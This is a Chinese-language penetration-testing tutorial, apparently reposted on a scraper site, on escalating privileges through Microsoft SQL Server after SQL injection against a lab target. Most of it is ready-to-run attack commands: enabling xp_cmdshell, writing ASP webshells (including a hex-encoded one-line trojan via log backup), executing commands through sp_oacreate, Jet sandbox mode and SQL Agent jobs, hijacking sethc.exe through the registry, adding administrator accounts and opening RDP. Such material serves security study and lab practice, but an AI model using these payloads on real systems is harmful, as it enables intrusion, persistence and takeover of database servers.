【精选】第三方组件提权

您所在的位置:网站首页 禁止注册表写入文件怎么办 【精选】第三方组件提权

【精选】第三方组件提权

2023-11-21 08:01| 来源: 网络整理| 查看: 265

文章目录 基础MSSQL权限级别 拿webshellxp_cmdshell执行系统命令LOG备份getshell 提权使用xp_cmdshell进行提权以下内容为转载使用sp_oacreate进行提权|无回显sp_oacreate简介sp_oacreate使用 沙盒提权SQL Server 沙盒简介 JOB提权使用xp_regwrite提权 | 映像劫持提权其他骚操作 使用sp_makewebtask写文件总结二级内网MSSQL渗透|上线CS

基础

MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库, 端口号:1433

MSSQL权限级别 sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限db权限:文件管理,数据库操作等价于 users-administratorspublic权限:数据库操作等价于 guest-users

在搭建时,选择使用SQL Server身份验证会创建SA账户并设置密码,SA(System Administrator)表示系统管理员,在SQLServer2019之前的SA用户都是系统最高权限用户SYSTEM,但在2019版本时为普通数据库用户mssqlserver,是一个低权用户

拿webshell

靶机:http://www.demo1.com/index.aspx?id=1

winserver 2008 R2 + SQL server 2008

靶机存在SQL注入

image-20211120203955600

根据报错可以判断数据库使用的是SQL server

使用联合查询判断数据库版本

http://www.demo1.com/index.aspx?id=1%20union%20select%201,@@version,User_name();

image-20211120215045660

xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止

xp_cmdshell执行系统命令

xp_cmdshell是Sql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权

xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止

查看xp_cmdshell状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1表示xp_cmdshell组件启用

执行系统命令

EXEC master.dbo.xp_cmdshell 'ipconfig' # 即使执行成功页面也是无法回显。推荐写入shell

出现下图说明 xp_cmdshell 未开启

image-20211009203333167

如果用户拥有管理员 sa 权限,可以用 sp_configure 重新开启 xp_cmdshell组件

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 命令解释 EXEC sp_configure 'show advanced options',1 //允许修改高级参数 RECONFIGUREEXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展RECONFIGURE

写入木马getshell

# asp ?id=1;exec master..xp_cmdshell 'echo ^ > C:\inetpub\wwwroot\www.demo1.com\2.asp' -- # aspx ?id=1;exec master..xp_cmdshell 'echo ^^>D:\2.aspx' –

也可以执行系统命令 把命令结果输出到指定文件

?id=1;EXEC master.dbo.xp_cmdshell 'whoami >>C:\inetpub\wwwroot\www.demo1.com\ip.txt'

image-20211120212254450

注意:master..xp_cmdshell 'whoami' (2008版上好像用不了)

image-20211120212026222

注意点: 在MSSQL2019版本中,会使用mssqlserver用户而非system用户

LOG备份getshell

通过差异备份拿shell经常出错,所以推荐以下操作

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

SQLServer常见的备份策略:

每周一次完整备份每天一次差异备份每小时一次事务日志备份

利用前提:

目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该 test 数据库存在数据库备份文件,而且恢复模式得是 完整模式知道网站的绝对路径,找绝对路径的方法,链接该注入支持堆叠注入

具体步骤如下

alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式 create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image backup log 数据库名 to disk= 'C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init; #备份表到指定路径 insert into cmd (a) values(0x3C25657865637574652872657175657374282261222929253EDA); #插入一句话到cmd表里,一句话木马需要转换成16进制形式 backup log 数据库名 to disk='C:/inetpub/wwwroot/www.demo1.com/123.asp'; #把操作日志备份到指定文件 drop table cmd; #删除cmd表

生成shell后可以用工具连接

image-20211009211123067

image-20211120212948700

image-20211120213002211

提权 使用xp_cmdshell进行提权

现在已经通过SQL注入拿到了webshell,但是权限只是nt authority\network service,进行下一步提权操作的话需要拿到sa权限,有以下几种方法拿到sa权限

查找保存在文件中的账号和密码

web.config config.asp conn.aspx database.aspx 等敏感文件

爆破sa用户密码

在靶机的web目录index.aspx文件中找到了sa用户的密码

image-20211120213115555

连接数据库可以使用navicat也可以直接用蚁剑

在地址上右击选择数据操作

image-20211120213356143

点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的

image-20211120213330489

选择master数据库,执行命令判断是否开启xp_cmdshell

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

image-20211120214330579

返回值1,判断其开启了xp_cmdshell

如果没有开启的话,需要根据SQL server的版本使用相应命令开启

执行命令判断sa用户的权限

exec xp_cmdshell "whoami" master..xp_cmdshell 'whoami' (2008版上好像用不了) EXEC master..xp_cmdshell "whoami" EXEC master.dbo.xp_cmdshell "ipconfig" 四选一不行就换

发现这也是一个普通用户(有时比较高)

在2005中xp_cmdshell的权限是system,2008中是network(靶机为2008)

image-20211120214847196

遇到这种情况无法完成提权

上传溢出提权工具提权,能不能成功需要看目标管理员在安装SQL server时使用的权限

如果权限是system,可以执行命令添加用户

exec master..xp_cmdshell "net user test12 123.com /add" exec master..xp_cmdshell "net localgroup administrators test12 /add" exec master..xp_cmdshell "net user test12"

善后工作,将xp_cmdshell命令修改为禁用

EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; 以下内容为转载

转载声明:以下内容为转载,出自以下文章

https://www.freebuf.com/vuls/276814.html

http://alexsel.com/index.php/archives/80/

使用sp_oacreate进行提权|无回显 sp_oacreate简介

调用wscript.shel执行命令

sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言。

系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)

在效果方面,sp_oacreate、sp_oamethod两个过程和xp_cmdshell过程功能类似,因此可以替换使用,在遇到xp_cmdshell被删除的情况下可以尝试使用这个命令来提权

利用条件:

1.已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)

2.sqlserver允许远程连接

3.OLE Automation Procedures选项开启

sp_oacreate使用

1.查看sp_oacreate状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

2.启用OLE Automation Procedures选项

当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。

exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',1; reconfigure;

2s43wj.png

类似的,关闭组件命令

exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Ole Automation Procedures',0; reconfigure;

3.利用sp_oacreate和sp_oamethod执行命令

写入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';

回显0表示成功

2s41mQ.png

由于这里是无回显的命令执行,到另一台主机上查看效果,成功写入。

2s48Ts.png

删除文件

declare @result int declare @fso_token int exec sp_oacreate 'scripting.filesystemobject', @fso_token out exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt' exec sp_oadestroy @fso_token

2s4tf0.png

可以看到文件已删除

2s4YYq.png

同样,也可以创建用户进行登陆拿shell

沙盒提权 SQL Server 沙盒简介

沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息

沙盒提权的原理就是jet.oledb(修改注册表)执行系统命令。数据库通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令

利用前提:

1.需要Microsoft.Jet.OLEDB.4.0一般在32位系统才可以,64位机需要12.0,较复杂

2.dnary.mdb和ias.mdb两个文件 在win2003上默认存在,也可自行准备

测试 jet.oledb 能否使用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')

2s42p6.png

开启Ad Hoc Distributed Queries组件

在SQL2005中默认禁用Ad Hoc Distributed,执行命令时,会提示错误,所以我们需要手动开启。这种提权的方式一般很少用到。

exec sp_configure 'show advanced options',1 ; reconfigure ; exec sp_configure 'Ad Hoc Distributed Queries',1 ; reconfigure;

img

恢复对注册表的读写

dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc ('xp_regwrite','xpstar.dll')

修复沙盒的维护模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

img

查看SandBoxMode的值是否已经变成了0

沙盒模式参数含义:

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式1 :为仅在允许范围内2 :必须在access模式下3 :完全开启 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

img

创建账户

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

添加到管理员组

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

如果遇到问题参考这里的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html

恢复配置

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; exec sp_configure 'show advanced options',0;reconfigure; JOB提权

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

img

接下来我们创建任务x,执行添加账户的命令,然后将命令返回结果输出到q.txt中。

use msdb exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';

img

执行成功,这个报错应该是同时执行多条语句导致,我们可以看到最终添加了指定的账户。

使用xp_regwrite提权 | 映像劫持提权

通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持

前提条件:

1.未禁止注册表编辑(即写入功能)

2.xp_regwrite启用

查看xp_regwrite是否启用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

xp_regwrite开启与关闭

EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_regwrite',1 RECONFIGURE

利用regwrite函数修改组册表进行劫持,这里如果regwrite执行失败参考上面的开启方法。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

img

接着我们查看是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

img

紧接着我们远程连接桌面,然后连续按5次shift就可以调用cmd窗口

img

上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作

其他骚操作

删除指定注册表键值对

删除粘滞键的键值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'

2s44ne.png

到目标主机上查看,发现sethc.exe在注册表中的值已删除

2s4fXD.png

开启3389端口这里的xp``_regwrite为向注册表中写数据

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

2s450H.png

在注册表中也可以看到3389端口被打开

2s4I7d.png

使用sp_makewebtask写文件

2005

一般可以用于web网站,写入后门文件

1)查看该组件

EXEC sp_configure 'Web Assistant Procedures'

2)开启该组件

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

报错,在SQLServer2005后好像都没有这个组件了

总结

常见的存储过程:

xp_cmdshell 执行系统命令 xp_fileexist 确定一个文件是否存在。 xp_getfiledetails 获得文件详细资料。 xp_dirtree 展开你需要了解的目录,获得所有目录深度。 Xp_getnetname 获得服务器名称。 注册表访问的存储过程 Xp_regwrite Xp_regread Xp_regdeletekey Xp_regaddmultistring Xp_regdeletevalue Xp_regenumvalues Xp_regremovemultistring OLE自动存储过程 Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop 二级内网MSSQL渗透|上线CS

暂时没有学到,可以看这篇文章:https://www.freebuf.com/vuls/276814.html

参考链接:

http://alexsel.com/index.php/archives/80/

https://y4er.com/post/mssql-getshell/

https://www.freebuf.com/vuls/276814.html



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3